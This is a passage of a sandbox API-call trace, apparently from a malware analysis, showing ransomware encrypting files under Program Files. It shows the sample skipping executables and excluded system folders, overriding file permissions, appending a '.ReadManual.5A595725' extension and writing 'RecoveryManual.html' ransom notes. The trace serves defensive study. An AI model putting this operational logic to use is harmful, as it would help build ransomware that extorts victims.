lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Parity.fx" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Parity.fx" [0258.477] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Parity.fx", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Parity.fx.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Parity.fx.ReadManual.5A595725" [0258.477] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Parity.fx.ReadManual.5A595725") returned 67 [0258.477] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=37914628258) returned 1 [0258.478] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx")) returned 0x20 [0258.478] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.478] GetLastError () returned 0x5 [0258.478] GetNamedSecurityInfoW () returned 0x0 [0258.478] SetNamedSecurityInfoW () returned 0x0 [0258.478] SetNamedSecurityInfoW () returned 0x0 [0258.479] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0258.479] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=36575) returned 1 [0258.479] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8edf, lpName=0x0) returned 0x194 [0258.479] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x96) returned 1 [0258.480] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.480] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0258.481] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0258.482] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8edf) returned 0x2f0000 [0258.483] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.483] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=37915165193) returned 1 [0258.483] CloseHandle (hObject=0x194) returned 1 [0258.483] SetSecurityInfo () returned 0x5 [0258.483] SetSecurityInfo () returned 0x5 [0258.483] LocalFree (hMem=0x674d38) returned 0x0 [0258.483] CloseHandle (hObject=0x190) returned 1 [0258.483] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0 [0258.483] FindClose (in: hFindFile=0x6bfec0 | out: hFindFile=0x6bfec0) returned 1 [0258.483] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0258.483] lstrcpyW (in: lpString1=0x6ab8da, lpString2="soniccolorconverter.ax" | out: lpString1="soniccolorconverter.ax") returned="soniccolorconverter.ax" [0258.483] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="RecoveryManual.html") returned 1 [0258.484] StrStrIW (lpFirst="soniccolorconverter.ax", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.484] StrCmpIW (psz1="ax", psz2="exe") returned -1 [0258.484] StrCmpIW (psz1="ax", psz2="dll") returned -1 [0258.484] StrCmpIW (psz1="ax", psz2="sys") returned -1 [0258.484] StrCmpIW (psz1="ax", psz2="msi") returned -1 [0258.484] StrCmpIW (psz1="ax", psz2="mui") returned -1 [0258.484] StrCmpIW (psz1="ax", psz2="inf") returned -1 [0258.484] StrCmpIW (psz1="ax", psz2="cat") returned -1 [0258.484] StrCmpIW (psz1="ax", psz2="bat") returned -1 [0258.484] StrCmpIW (psz1="ax", psz2="cmd") returned -1 [0258.484] StrCmpIW (psz1="ax", psz2="ps1") returned -1 [0258.484] StrCmpIW (psz1="ax", psz2="vbs") returned -1 [0258.484] StrCmpIW (psz1="ax", psz2="ttf") returned -1 [0258.484] StrCmpIW (psz1="ax", psz2="fon") returned -1 [0258.484] StrCmpIW (psz1="ax", psz2="lnk") returned -1 [0258.484] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\soniccolorconverter.ax" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\soniccolorconverter.ax") returned="\\\\?\\c:\\Program Files\\DVD Maker\\soniccolorconverter.ax" [0258.484] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\soniccolorconverter.ax", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\soniccolorconverter.ax.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\soniccolorconverter.ax.ReadManual.5A595725" [0258.484] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\soniccolorconverter.ax.ReadManual.5A595725") returned 73 [0258.484] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe18 | out: lpPerformanceCount=0x434fe18*=37915277895) returned 1 [0258.484] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax")) returned 0x20 [0258.484] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.484] GetLastError () returned 0x5 [0258.484] GetNamedSecurityInfoW () returned 0x0 [0258.485] SetNamedSecurityInfoW () returned 0x0 [0258.485] SetNamedSecurityInfoW () returned 0x0 [0258.486] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0258.486] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x434fe30 | out: lpFileSize=0x434fe30*=79360) returned 1 [0258.486] CreateFileMappingW (hFile=0x18c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13600, lpName=0x0) returned 0x190 [0258.486] SetFileInformationByHandle (hFile=0x18c, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xa2) returned 1 [0258.486] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.487] WriteFile (in: hFile=0x18c, lpBuffer=0x434fd18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x434fd18*, lpNumberOfBytesWritten=0x434fd14*=0x20, lpOverlapped=0x0) returned 1 [0258.488] WriteFile (in: hFile=0x18c, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fd14*=0x100, lpOverlapped=0x0) returned 1 [0258.489] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13600) returned 0x1de0000 [0258.491] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0258.491] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe20 | out: lpPerformanceCount=0x434fe20*=37916012662) returned 1 [0258.491] CloseHandle (hObject=0x190) returned 1 [0258.491] SetSecurityInfo () returned 0x5 [0258.492] SetSecurityInfo () returned 0x5 [0258.492] LocalFree (hMem=0x674d38) returned 0x0 [0258.492] CloseHandle (hObject=0x18c) returned 1 [0258.492] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\" [0258.492] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\RecoveryManual.html" [0258.492] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0258.492] WriteFile (in: hFile=0x18c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0258.493] CloseHandle (hObject=0x18c) returned 1 [0258.493] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0258.493] lstrcpyW (in: lpString1=0x6ab8da, lpString2="sonicsptransform.ax" | out: lpString1="sonicsptransform.ax") returned="sonicsptransform.ax" [0258.493] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="RecoveryManual.html") returned 1 [0258.493] StrStrIW (lpFirst="sonicsptransform.ax", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.493] StrCmpIW (psz1="ax", psz2="exe") returned -1 [0258.493] StrCmpIW (psz1="ax", psz2="dll") returned -1 [0258.493] StrCmpIW (psz1="ax", psz2="sys") returned -1 [0258.493] StrCmpIW (psz1="ax", psz2="msi") returned -1 [0258.493] StrCmpIW (psz1="ax", psz2="mui") returned -1 [0258.493] StrCmpIW (psz1="ax", psz2="inf") returned -1 [0258.493] StrCmpIW (psz1="ax", psz2="cat") returned -1 [0258.493] StrCmpIW (psz1="ax", psz2="bat") returned -1 [0258.493] StrCmpIW (psz1="ax", psz2="cmd") returned -1 [0258.493] StrCmpIW (psz1="ax", psz2="ps1") returned -1 [0258.493] StrCmpIW (psz1="ax", psz2="vbs") returned -1 [0258.493] StrCmpIW (psz1="ax", psz2="ttf") returned -1 [0258.493] StrCmpIW (psz1="ax", psz2="fon") returned -1 [0258.494] StrCmpIW (psz1="ax", psz2="lnk") returned -1 [0258.494] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\sonicsptransform.ax" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\sonicsptransform.ax") returned="\\\\?\\c:\\Program Files\\DVD Maker\\sonicsptransform.ax" [0258.494] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\sonicsptransform.ax", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\sonicsptransform.ax.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\sonicsptransform.ax.ReadManual.5A595725" [0258.494] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\sonicsptransform.ax.ReadManual.5A595725") returned 70 [0258.494] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe18 | out: lpPerformanceCount=0x434fe18*=37916242767) returned 1 [0258.494] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax")) returned 0x20 [0258.494] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.494] GetLastError () returned 0x5 [0258.494] GetNamedSecurityInfoW () returned 0x0 [0258.494] SetNamedSecurityInfoW () returned 0x0 [0258.494] SetNamedSecurityInfoW () returned 0x0 [0258.495] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0258.495] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x434fe30 | out: lpFileSize=0x434fe30*=51712) returned 1 [0258.495] CreateFileMappingW (hFile=0x18c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xca00, lpName=0x0) returned 0x190 [0258.495] SetFileInformationByHandle (hFile=0x18c, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x9c) returned 1 [0258.496] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.496] WriteFile (in: hFile=0x18c, lpBuffer=0x434fd18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x434fd18*, lpNumberOfBytesWritten=0x434fd14*=0x20, lpOverlapped=0x0) returned 1 [0258.498] WriteFile (in: hFile=0x18c, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fd14*=0x100, lpOverlapped=0x0) returned 1 [0258.498] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xca00) returned 0x2f0000 [0258.500] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.500] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe20 | out: lpPerformanceCount=0x434fe20*=37916856692) returned 1 [0258.500] CloseHandle (hObject=0x190) returned 1 [0258.500] SetSecurityInfo () returned 0x5 [0258.500] SetSecurityInfo () returned 0x5 [0258.500] LocalFree (hMem=0x674d38) returned 0x0 [0258.500] CloseHandle (hObject=0x18c) returned 1 [0258.500] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0601380, ftCreationTime.dwHighDateTime=0x1d5ad90, ftLastAccessTime.dwLowDateTime=0xad685550, ftLastAccessTime.dwHighDateTime=0x1d59f00, ftLastWriteTime.dwLowDateTime=0xad685550, ftLastWriteTime.dwHighDateTime=0x1d59f00, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 1 [0258.500] lstrcpyW (in: lpString1=0x6ab8da, lpString2="winscp.exe" | out: lpString1="winscp.exe") returned="winscp.exe" [0258.500] lstrcmpiW (lpString1="winscp.exe", lpString2="RecoveryManual.html") returned 1 [0258.500] StrStrIW (lpFirst="winscp.exe", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.500] StrCmpIW (psz1="exe", psz2="exe") returned 0 [0258.500] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0258.500] lstrcpyW (in: lpString1=0x6ab8da, lpString2="WMM2CLIP.dll" | out: lpString1="WMM2CLIP.dll") returned="WMM2CLIP.dll" [0258.500] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="RecoveryManual.html") returned 1 [0258.500] StrStrIW (lpFirst="WMM2CLIP.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.500] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0258.500] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0258.500] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0 [0258.501] FindClose (in: hFindFile=0x6bfe80 | out: hFindFile=0x6bfe80) returned 1 [0258.501] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe0c6e7e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0c6e7e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0258.501] lstrcpyW (in: lpString1=0x69b8c6, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer" [0258.501] lstrcatW (in: lpString1="Internet Explorer", lpString2="\\" | out: lpString1="Internet Explorer\\") returned="Internet Explorer\\" [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch=":\\Windows\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch=":\\WINNT") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch=":\\Windows.old\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch=":\\PerfLog\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch="\\WindowsApps\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch="\\Windows Defender\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch="\\microsoft shared\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0258.501] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Internet Explorer\\", lpSrch="\\Internet Explorer\\") returned="\\Internet Explorer\\" [0258.501] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe03a76c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe03a76c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0258.502] lstrcpyW (in: lpString1=0x69b8c6, lpString2="Microsoft Analysis Services" | out: lpString1="Microsoft Analysis Services") returned="Microsoft Analysis Services" [0258.502] lstrcatW (in: lpString1="Microsoft Analysis Services", lpString2="\\" | out: lpString1="Microsoft Analysis Services\\") returned="Microsoft Analysis Services\\" [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch=":\\Windows\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch=":\\WINNT") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch=":\\Windows.old\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch=":\\PerfLog\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\WindowsApps\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\Windows Defender\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\microsoft shared\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\Tor Browser\\") returned 0x0 [0258.502] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0258.502] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\") returned 49 [0258.502] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x6bb89c | out: 